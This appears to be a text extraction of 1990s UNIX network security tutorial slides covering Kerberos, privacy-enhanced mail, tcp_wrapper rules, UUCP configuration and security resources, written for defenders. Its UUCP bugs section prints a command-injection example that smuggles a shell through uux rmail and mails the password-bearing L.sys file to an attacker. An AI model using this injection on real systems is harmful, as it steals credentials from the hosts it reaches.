* uses Needham-Schroeder protocol with Denning and Sacco modification

Basic idea:

* each user and service shares a secret (DES) key with a trusted server, the authentication server




Basic Units

* Ticket: used to pass identity of person to whom ticket issued; contains: client name server name time of issuance validity interval IP address of client

session key

* Authenticator: identity of service requester client name IP address of client

time of authenticator creation


Logging In

username, TGS client workstation authentication server {{Ttgs}Ktgs,Ksess,...}Kuser

Client now decrypts reply using the user's password Kuser; if it's valid, the password is deleted from memory and the ticket and session key Ksess are stored




Obtaining a Ticket for a Service

service,{Ttgs}Ktgs,{Acl}Kc-tgs client workstation authentication server {{Tc,s}Ks,Kc-s}Kc-tgs

Sent: service name, ticket to use the TGS, and authenticator

Server: verifies authenticator matches ticket, issues reply

Received: ticket for service encrypted in service's key, a session key


Using a Ticket to Get a Service

{Acl}Kc-s,{Tc,s}Ks client workstation desired server

{timestamp + 1}Kc-s

Sent: authenticator encrypted with session key, ticket encrypted with server's key

Server: decrypts ticket to get session key, decrypts authenticator, compares; if all well, performs access control

Received: if requested, server sends back an encrypted nonce to authenticate itself




Problems

* You need a physically secure computer that is not generally accessible

since the authentication server stores all keys in plaintext; if an intruder gets these, your authentication scheme is useless

* The keys are resident on the system

On a single-user machine, that's okay; on a multi-user machine, if the other user is an attacker, .... This is why it should never be used as anything other than a user-to-user (service) authentication scheme (eg, server-to-server is bad)

* Replay is possible

Authenticators are valid for 5 minutes, so a dedicated attacker could simply wait until a user logs in and logs out after accessing a service (printing a file or reading mail); then replay.


More Problems

* Kerberos is designed for single-user hosts

so if I become you on a multiuser host (using su or anything else where I give your password), Kerberos won't help you

* The tickets are stored in /tmp

This is done so they can be shared among processes - but all I need to do is copy one, or try to deny you service by deleting your ticket

* Trojan horses still work

so I can get whatever you have access to if you use one of my rigged programs ... whether or not I have your ticket




Electronic Mail

* I forge a letter to Dorothy Denning from the chairman (Peter Denning) raising her salary

and run into her office and tell her she'll enjoy her mail ...

* student at major university forges a note informing official he's fired; note not seen for several days, then disrupts an office until forgery discovered; FBI called in

forging mail can be fun; but it can have vicious consequences

* browsing root's mail is SOP for attackers

to see if root is onto them, or is mailing out passwords


Current State of Electronic Mail

* anyone can read electronic mail whether or not they are the recipient or sender (two parties may agree to encrypt messages, though)

* the name in the "from" or "sender" field(s) may be incorrect; it must be verified out of band

* electronic mail can be altered undetectably




Privacy-Enhanced Electronic Mail

* provide confidentiality to electronic mail

* provide sender authenticity

* provide message integrity


MHS Model

UA

MTA MTA MTA

UA UA User Agents

Message Transfer Agents




Design Constraints

* do not redesign existing mail system or protocols

* whatever is proposed must be compatible with a range of MTAs, UAs, and PCs

* privacy enhancements must be available separately (i.e., not required)

* two parties should be able to use the protocol to communicate without prearrangement


Basis

define separate data encryption, interchange keys

* encrypt messages, possibly compute Message Integrity Check quantities with DEKs (Data Encryption Keys)

* encrypt DEKs with IKs (Interchange Keys) and enclose in header of messages




RSA Cryptosystem

* encrypt, decrypt using modular exponentiation: c = m mod n and m = c mod n where e and d are chosen so that ed mod f (n) = 1

* can get both confidentiality and authenticity

* As (n, e) is public key, choose e to be a publicly known exponent (either 3 or 2^16+1)

* Choose n to be at least 512 bits (initial recommendation of X.509; they recommend further study)

e d


Confidentiality

To send a secret message:

Alice encrypts message using Bob's public key

Alice Bob

Bob decrypts message using his private key

Bob replies using Alice's public key

Alice Bob sends reply

Alice decrypts reply using her private key

sends message




Authentication

To send a signed message:

Alice encrypts message using her private key

Alice Bob message

* anyone can read message as Alice's public key is publicly known

* no-one can forge message as Alice's private key is known only to Alice

Sylvester


Private Mail

To send:

* Get Interchange Key of recipient

* Obtain a Data Encryption Key and transform message

* Encrypt the DEK using the IK and put in message To Read:

* Extract encrypted DEK from letter

* Use IK to decrypt it

* Use the DEK to decrypt the message




Integrity Checked, Authenticated Mail

To send:

* Generate a Message Integrity Code (MIC) possibly using a DEK

* Encrypt it using IK

* Put this value into the message To verify:

* Decrypt the MIC using the IK

* Calculate the MIC locally and compare with sent one


IK Management

IKs may be:

symmetric: sender, recipient share same IK (private key cryptosystems)

asymmetric: sender, recipient have different IKs (public key cryptosystems)




IK/User Association

Problem : Say I ask the public key database for Bill CLinton's public key. How can I be sure I get it and not Robert Dole's public key?

Answer: Bind the public key to Bill Clinton's name in the form of a certificate

This is called certificate based key management


Certificates

ORGANIZATIONAL (affiliation with issuer) issuer /C=US/O=University of California at Davis/ subject /C=US/O= University of California at Davis /OU=Department of Computer Science/CN=Matt Bishop/

RESIDENTIAL (no affiliation with issuer) issuer /C=US/SP=CA/L=Davis/

subject /C=US/S=CA/L=Davis/PA=27 Russell St./CN=Matt Bishop/ PERSONA (anonymous subject) issuer /C=US/O=Certificate Warehouse/ subject /C=US/O=Certificate Warehouse/CN=Irene Fisher/




Sending Message

* local form : enter the message as though it were normal mail

* canonical form: convert the message to a canonical form such as inter-SMTP representation (RFC-821, RFC-822)

* authenticate and encipher (next slide)

* printable encoding: map bit stream into 64 character subset of IA5 (6 bits per character), using = for padding (may be omitted if sending non-confidential mail)


Authentication & Encipherment

* compute Message Integrity Check (MIC)

* encrypt using DES in CBC mode, padding with n octets of 0x0n (if necessary)




Encapsulation

Header fields per RFC-822

blank line

-----BEGIN PRIVACY-ENHANCED MESSAGE BOUNDARY-----

Encapsulated header fields (not transformed)

blank line

Encapsulated text portion (transformed)

-----END PRIVACY-ENHANCED MESSAGE BOUNDARY-----


Detecting Network Attacks

Looking for places where attackers might try to connect to your system

* goal is to get access to your system in any way

superuser privileges can follow, if needed What services are relevant or known to be attacked?




Important Files

/etc/services lists service, port and protocol, and aliases: smtp 25/tcp mail

time 39/udp timeserver

/etc/inetd.conf lists service name, socket type, protocol type, wait/nowait, user, and command ftp stream tcp nowait root /usr/etc/ftpd ftpd tftp dgram udp wait nobody /usr/etc/tftpd tftpd

echo stream tcp nowait root internal

/etc/hosts

lists IP address and host names

10.0.0.3 att.com mabell


Some Worrisome Services

Services to be careful with:

* the BSD 'r' commands (ports 512, 513, 514)

* Sun 's RPC and NFS (ports 111, 2049)

* X and Openwindows (ports 6000* and 2000*)

* TFTP (port 69)

* lpd (port 515)

* UUCP (port 540)

* link (port 87) intruders seem to love this port ...




What to Do

Generally do not want to block them

* disable those you don't need (comment out the lines in /etc/inetd.conf)

* try to block external connections using a firewall or a wrapper package


Software

tcp_wrapper is freely available from Weitse Venema

Anonymous ftp from cert.org:pub/tools/tcp_wrappers




Goals

* Log origination of all incoming connections

* Allow the site to filter such connections

* Allow the site to act based on the originator


Overview

Assumes a "master network daemon" to which all requests go and which in turn spawns all services

inetd(8) on BSD is an example Have the master daemon spawn a "wrapper" which does the security stuff

The wrapper then spawns the correct service program




In Pictures

inetd

dae1 dae2 dae3

inetd

dae1 dae2 dae3

tcpd

daemon name


/etc/inetd.conf

ftp stream tcp nowait root /usr/etc/in.ftpd in.ftpd

tftp dgram udp wait root /usr/etc/in.tftpd in.tftpd -s / tftpboot

becomes

ftp stream tcp nowait root /usr/etc/tcpd /usr/etc/in.ftpd

tftp dgram udp wait root /usr/etc/tcpd /usr/etc/in.tftpd -s /tftpboot




Access Control

Based upon (daemon name, client host) pair:

/etc/hosts.allow allow constrained access

/etc/hosts.deny do not allow access

pair not in either allow unconstrained access

If remote user name available, client name may include user as user@host


Precautions

* does double name lookup (IP from connection, get name, look up its IP address)

if addresses differ, either break connection or name host "unknown" (and log it as such)

* can prevent source routing

external host spoofs local one; messages to local stay local unless masquerader has turned on source routing

* can use ident protocol to get user name

bad idea in that ident is not under control of a trusted host (usually); also, only works for tcp (stream) connections




Example: Open System

Access permitted unless explicitly denied

in /etc/hosts.deny:

ALL : windsor.dartmouth.edu .army.mil

this denies access to all services from the host windsor.dartmouth.edu and any host in the domain .army.mil

ALL EXCEPT in.fingerd : .dartmouth.edu

this allows hosts in the domain .dartmouth.edu (except for windsor) to access the finger daemon, but no other daemon

no /etc/hosts.allow file


Example: Net with Terminal Server

Don't allow the terminal server to access any service except telnet; no non-local hosts can access anything

in /etc/hosts.allow:

ALL : LOCAL EXCEPT request

ALL : .ucdavis.edu EXCEPT request.ucdavis.edu

in.telnetd : request.ucdavis.edu request

in /etc/hosts.deny:

ALL : ALL




Example: Act on Allow

Allow all accesses, but reverse-finger host


ALL : ALL : ( /etc/safe_finger -l @%h |\ / usr/ucb/mail -s %d-%h netgal ) &

No /etc/hosts.deny file


Example: Act on Deny

Allow all accesses, unless the user is "bishop" trying to rlogin or telnet in

no /etc/hosts.allow file

in /etc/hosts.deny:

in.rlogind in.telnetd : bishop@ALL : ( echo \ ha-ha-ha-ha-ha | /usr/ucb/mail %c ) &




Example: Selective Name Lookups

Do name lookups on any connection except those from ucsd.edu


ALL : .ucsd.edu ALL@ALL

Name lookups are normally done only when trying to match a user name; as matching .ucsd.edu does not require a user name, the lookup is not made then. No /etc/hosts.deny file


UUCP

General overview:

* bidirectional protocol for remote command execution

* remote system logs in as user

* commands executed from restricted shell called uuxqt

bear uucp connection hydra




Transaction

Any request, exchange of data, or requesting of remote command execution is a transaction

UUCP is a protocol enabling two computers to perform a series of transactions


How It Works

uucp bear!~/matt/answers ~/holly/answers

* request queued

* after some time, uucico run; it calls bear, logs in (as a uucp user)

* bear starts a uucico command

* your system sends the request

* bear's uucico queues request, starts uuxqt (which executes the request) executes the request

* your system gets the data




Versions of UUCP

* 4.3 BSD UUCP, heavily based on the original UUCP

* HoneyDanBer UUCP, a complete rewrite for System V (and first distributed with System V Release 3, but available for older versions)

* UUCP for Version 7 UNIX Systems: a few bugs


Important Files: Aliases

"L.aliases":

real_name alias_name

If alias_name logs in, it is really real_name

Example:

if bear used to be kodiak, the "L.aliases" file on systems it called might contain

bear kodiak




Important Files: Calling Systems

"L.sys"

system times caller class dev/phone login_protocol

The "login_protocol" describes what your computer should send when the remote one prompts:

ogin: ubear ssword: hello_there

note the cleartext password

This file should not be world-readable, and should be owned by uucp


Important Files: Called by Systems

"USERFILE"

login,system [c] path_name [ path_name ...]

login name of remote machine's login

system name of remote system

c if present, no transactions; remote machine called back first

path_name prefixes for accessible directories




More About USERFILE

* if system not named in "USERFILE", no transactions are allowed

* if calling system not named in system field, uucico uses first line with matching login and null system field; if no such line, no transactions allowed


Still More USERFILE

* if user's login name in the login field, then all transfers out must have files with names beginning with path_name:

matt, /usr/matt /usr/spool/uucppublic /tmp

lets me send files in my directory, the UUCP public access directory, and /tmp out - but no others




Recommendation

limit uucico access to "/usr/spool/uucppublic":

login,system /usr/spool/uucppublic

allows remote systems access to files in /usr/spool/uucppublic only

, /usr/spool/uucppublic

users copy files to be sent out into /usr/spool/uucppublic; not good to make this / (ie, users can send from anywhere on the system) because files are sent by the user uucp, which has access to files like L.sys!


Important Files: Remote Commands

"L.cmds"

list of commands remote systems may execute. Example: rmail rnews

ruusend

allows those three commands and no others




UUCP Accounts

One account for all allows remote hosts (possibly) to modify and/or read UUCP system control files:

* at least two UUCP logins with different UIDs:

* one for local system administration (uucp)

* one or more for remote systems to use


Remote Host Logins

* each host has its own login name

Most useful when USERNAME allows different machines to do different things, or when you want to see which machine is logged in by doing a who

* have all hosts use the same login

Machine names are printed in log files, so why have multiple logins?




Some Bugs in Older Versions

Command checking done for first word in command

uux - remote\!rmail postmaster '`/bin/sh`'

cat /usr/lib/uucp/L.sys | mail local!attacker

<EOF>

gets me the "L.sys" file (the remote command runs as uucp, which can read "L.sys" )


Another Bug

Be sure users cannot run uucico with debugging on

If they can, they will see the password for the remote system




Log Files

"/usr/spool/uucp/AUDIT" used for debugging output

"/usr/spool/uucp/ERRLOG"log of all UUCP errors causing a session or transaction to abort; if exit status is -1, look here

"/usr/spool/uucp/LOGFILE"all UUCP activity recorded here

"/usr/spool/uucp/SYSLOG" file transfer statistics


Recommendations

Initially, no security; use the files as outlined above.

* all utilities should be:

* owned by the local administrative user (uucp)

* setuid to that account

* only be executable by everyone (no read, write permission)

* "L.sys", "USERFILE" should be:

* owned by the local administrative user (uucp)

* readable, writable by that user only




HDB Differences

* "L.cmd", "USERFILE" files combined

* Can specify allowed commands on a per-system basis

* Sending, receiving files controlled separately

* By default, very strict security


Important Files: Calling Systems

"Systems"

The old "L.sys" file

If a caller is not in the file, it cannot perform any operations; uucico calls the program remote.unknown




Important Files: Remote Access

"Permissions"

Combines function of "USERFILE" and "L.cmds"

Uses a rule-based mechanism with lists of options:

rule=list [option=list... ]


LOGNAME Rule

LOGNAME=loginname[:loginname...]

loginname login name of remote host

* if a login name not in this file is used, the connection is refused




LOGNAME Rule (2)

LOGNAME=loginname[:loginname...]

* with no options:

* remote system can send only to /usr/spool/ uucppublic

* remote system cannot ask to receive any files

* remote system sent files only when it is called

* only default commands (defined at compile time; usually rmail and rnews) will be executed on behalf or remote system


LOGNAME Rule Options

READ=dirname[:dirname...] allow remote system to read files in dirname or any of its subdirectories

WRITE=dirname[:dirname...] allow remote system to write to files in dirname or any of its subdirectories

NOREAD=dirname[:dirname...] don't allow remote system to read files in dirname or any of its subdirectories




LOGNAME Rule Options (2)

NOWRITE=dirname[:dirname...] don't allow remote system to write to files in dirname or any of its subdirectories

Example:

LOGNAME=ubear REQUEST=yes READ=/ NOREAD=/etc

Remote system bear can read any file in the system readable by that UID (except those under /etc)



REQUEST=yes grant remote system permission to request files from local system (sent next time local system calls remote system)

SENDFILES=yes allow system to send files to a remote system when remote system initiates transfer

CALLBACK=yes force call-back before any transactions; all other options ignored





PUBDIR=dirname use dirname rather than /usr/spool/ uucppublic ads the public directory for this login

MYNAME=whoIwanttobe identify local machine as whoIwanttobe to this login when it calls in

VALIDATE=hostname if the remote host is hostname, it must use this login


Example

Allow trusted hosts to read/write anything, but call back all others

Solution: two uucp logins, one for trusted hosts, the other for untrusted ones:

LOGNAME=trusted REQUEST=yes SENDFILES=yes READ=/ \ WRITE=/ PUBDIR=/usr/spool/uucp.trusted

LOGNAME=untrusted CALLBACK=yes \ PUBDIR=/usr/spool/ uucp.untrusted




MACHINE Rule

MACHINE=host[:host...] the rule applies to hosts named here; host OTHER stands for any host not named in a rule

READ=dirname

WRITE=dirname

REQUEST=yes

NOREAD=dirname

NOWRITE=dirname

PUBDIR=dirname

All as for LOGNAME


MACHINE Options

COMMANDS=command[:command...] allow the named commands to be executed by the remote system

Example:

To allow a host to call in and print things on a line printer:

MACHINE=bear COMMANDS=rmail:/usr/local/bin/rnews:lp

It can also send mail to the system and post news (here, rnews is in a non-standard place)




A Complex Example

LOGNAME=trusted MACHINE=prandtl:amelia \ VALIDATE= prandtl:amelia REQUEST=yes SENDFILES=yes \ READ=/ PUBDIR= /usr/spool/uucp.trusted \ COMMANDS=rmail:rnews:lpr

Effect: whether you call amelia or prandtl, or they call you, the following restrictions hold:

* they can request files be sent, and you will do so;

* if they log in as anything other than trusted, the session will be terminated at once;

* they can only send files to the directory "/usr/spool/ uucp.trusted"


uucheck

uucheck -v

* checks that UUCP directories are properly set up;

* says what is and what is not allowed when remote systems call (done by login)

* says what is and is not allowed when local host calls remote hosts (done by machine)




Where to Get Help

*Goal: To suggest other sources of information, points of contact, and so forth

*Overview

- vendors and agencies

- electronic information

- books and papers - bug fixes and useful programs


Vendors and CERTs

* your vendor; many are quite willing to help or advise

* CERT (and/or your agency's/country's/group's equivalent); in the US, the most visible one is at CMU. Send a letter to [email protected] to get on their list. Past advisories available via anonymous ftp.

Or call (412) 268-7090 to contact them by telephone




Electronic Mailing Lists

* DDN Management and Security Bulletins; to get on the mailing list, send to [email protected]

* UNIX security mailing list; requestors must convince moderator of their bona fides. Appears to be defunct. Send to [email protected]

* RISKS list; send to [email protected]; also in USENET group comp.risks

* VIRUS list; send a letter with the line

SUB VIRUS-L your full name

to listserv%[email protected]; also in USENET group comp.virus


Electronic Mailing Lists

* bugtraq mailing list, for discussion of UNIX security flaws; to get on the mailing list, send to bugtraq [email protected]

* firewalls mailing list; to get on it, send to firewalls [email protected]

* cypherpunks mailing list, about the politics of cryptography: to get on it, send to cypherpunks [email protected]

* Kerberos mailing list; to get on it, send to kerberos [email protected]




The USENET

* Newsgroup alt.security; unmoderated USENET newsgroup discussing security issues, usually about the UNIX system (but not always)

* Newsgroup comp.security; moderated USENET newsgroup discussing computersecurity in general.

* Newsgroup comp.security.unix; unmoderated USENET newsgroup discussing UNIX security; a must

* Newsgroup misc.security; moderated USENET newsgroup discussing security in general (seems to be defunct now)


Books

Kochan and Wood, UNIX(TM) System Security, Hayden Books (C)1985; ISBN 0-8104-6267-2

Rather dated, and quite specific for System V; it is an excellent overview, especially for programmers

Farrow, UNIX(R) System Security, Addison Wesley (C)1991; ISBN 0-201-57030-0

Despite some minor errors in the commentary (none of which affect the recommendations), a very good overview, with an especially good section on HoneyDanBer UUCP.




More Books

Spafford and Garfinkel, Practical UNIX Security, O'Reilly & Associates (C) 1991; ISBN 0-937175-72-2

One of the best books around; its discussion of network security is a bit unsatisfying, but the programs and discussions in the other sections make it very worthwhile

Curry, UNIX(R) System Security, Addison Wesley (C) 1992; ISBN 0-201-56327-0

Contains much information about a wide variety of systems; clear, well-written, and also very worthwhile


Still More Books

Cheswick and Bellovin, Firewalls and Internet Security: Repelling the Wily Hacker, Addison-Wesley, (C) 1994; ISBN 0-201-63357-4

This is really a book about firewalls and UNIX, and at that it excels; it contains a little about generic network security, but it's very superficial. A must for people running UNIX and contemplating connections to the Internet (or those who connected before they thought about security!)




Papers

*Curry, "Improving the Security of Your UNIX System," ITSTD-721-FR-90-21, SRI International, 333 Ravenswood Ave., Menlo Park, CA 94025 (Apr. 1990) -Dave expanded this into his book. Fun reading - and possibly frightening!

*Grampp and Morris, "UNIX Operating System Security," AT&T Bell Laboratories Technical Journal 63(8) pp. 1649-1672 (Oct. 1984) -Dated but fun; a good subtitle is, "How to break into a UNIX system faster than anyone thought possible"


Conference Proceedings

Proceedings of the UNIX Security Workshop, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990, Sep. 1992, Oct. 1993)

These range from theoretical analyses to very practical, "how to secure your system", to the occasional "how to crack your system"

USENIX conference proceedings, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990)

These cover UNIX systems in general, and sometimes have useful and interesting papers about security




Where to Get Fixes

Sun: ftp to ftp.uu.net, login as anonymous (giving your id as password), change to directory vendor/ sun/sun-fixes, and copy the desired files

Berkeley: as above, but look in the directories systems/unix/ucb-fixes

Other vendors: as above (check vendor first, then system, but look for a directory with the appropriate name

Other good places to look:

ftp.uu.net: in comp.sources.... directories

Documents

unix Security: Threats And Solutions From The Networkpenta.ufrgs.br/gereseg/t5am.doc · Web viewUNIX Security: Threats and Solutions from the Network. ... Threats and Solutions